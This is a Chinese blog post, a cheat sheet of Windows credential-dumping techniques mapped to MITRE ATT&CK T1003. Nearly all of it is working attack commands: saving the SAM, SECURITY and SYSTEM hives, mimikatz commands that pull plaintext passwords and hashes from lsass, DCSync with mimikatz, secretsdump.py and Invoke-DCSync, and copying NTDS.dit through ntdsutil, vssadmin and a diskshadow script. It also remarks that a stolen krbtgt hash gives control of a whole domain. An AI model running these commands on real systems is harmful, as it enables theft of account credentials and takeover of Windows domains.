[Credential Access] Windows Credential Dumping总结

 

一、SAM

reg save HKLM\sam sam
reg save HKLM\system system
C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM
lsadump::sam

 https://www.cnblogs.com/ring-lcy/p/12442614.html

 

二、Cached Domain Credentials

reg save HKLM\security security 
reg save HKLM\system system

C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SYSTEM

lsadump::cache

https://www.cnblogs.com/ring-lcy/p/12497996.html

 

三、Local Security Authority (LSA) Secrets

LSA Secret存储在HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets,笔者暂未找到解密和利用的方法,后面有更新再补~
1. 在线dump
lsadump::secrets dump

2. 离线dump
reg save HKLM\SYSTEM system
reg save HKLM\security security
lsadump::secrets /system:system /security:security

 

四、从Lsass.exe中dump明文密码和Hash

# 注:为了与lsass.exe交互,需要以administrator权限启动mimikatz并获得debug权限;或者以system权限启动mimikatz

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

https://www.cnblogs.com/ring-lcy/p/12442614.html

 

五:SAM/NTDS

SAM文件储存的是本地账户的NTLM Hash,域账户的NTLM Hash位于域控机器上 C:\Windows\NTDS\ntds.dit,该文件需要C:\Windows\System32\config\SYSTEM registry hive中的key来解码;在系统运行过程中,这两个文件会一直被OS占用,不能直接读取、拷贝。

域环境中,拿到krbtgt账号hash就可以通过传递黄金票据感染整个域。

1. mimikatz # lsadump::lsa 

通过与LSA Server交互直接拿到SAM和NTDS中储存的Hash, 这种方式与读取SAM,NTDS文件拿到的信息基本一致,但直接与LSASS 交互有可能造成其crash,尤其是在域很大的情况下。

lsadump::lsa /inject
lsadump::lsa /patch 

 也可以指定某个特定账户:

lsadump::lsa /patch /id:[ACCOUNT_ID]
lsadump::lsa /patch /name:[ACCOUNT_NAME]

/patch: 在memory中修改了samsrv.dll的逻辑(即patching),从而获取LM/NTLM Hash

/inject: 在Lsass.exe中new了一个新的thread,除LM/NTLM Hash外还可以获取 WDigest and Kerberos keys(怎么利用?),但new thread的行为也易于被发现。

     

  

2. DCSync

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据,  https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47

  • mimikatz # lsadump::dcsync

lsadump::dcsync /domain:[FQDN_DOMAIN] /user:[ACCOUNT]
或
lsadump::dcsync /domain:[FQDN_DOMAIN] /all /csv

  • Impacket secretsdump.py (知道DC的用户名密码的话,可以远程dump)

python secretsdump.py -just-dc-user [ACCOUNT] [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]
或
python secretsdump.py -just-dc [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]

  • Invoke-DCSync.ps1

本质也是调用mimikatz,不过不用以administrator权限启动。

Invoke-DCSync -PWDumpFormat -Users [ACCOUNT] 

Invoke
-DCSync -PWDumpFormat

 

3. Volume Shadow Copy

拷贝SAM文件和NTDS文件,再解密出Hash

  • NTDSUtil

         域控制器中原生自带ntdsutil.exe,方便管理员使用命令行管理active directory,用以下命令就可以将ntds.dit和system文件拷贝到c:\temp目录下

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' quit quit"
  • VSSAdmin

> vssadmin create shadow /for=C:       
       Shadow Copy ID: {e3e6bc3e-9402-4bca-9016-d1076d45dc70}       
       Shadow Copy Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8
> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\Windows\NTDS\NTDS.dit c:\temp\ 
> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\Windows\System32\config\SYSTEM c:\temp\ 
> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\Windows\System32\config\SECURITY c:\temp\

> vssadmin delete shadows /Shadow=[VSS_ID] /Quiet
  • diskshadow

# c:\diskshadow.txt 内容
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
# 执行脚本
diskshadow.exe /s c:\diskshadow.txt
  • Impacket secretsdump.py 解密dump出的NTDS.dit文件

python secretsdump.py -ntds [/path/to/NTDS.dit] -system [/path/to/SYSTEM] -security[/path/to/SECURITY] LOCAL

 

 

参考:

https://attack.mitre.org/techniques/T1003/

https://pwn.no0.be/post/windows/creds_collection/system/#mimikatz---sekurlsacache

Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy

 

 

posted @ 2020-03-19 16:54  ring_lcy  阅读(716)  评论(0编辑  收藏  举报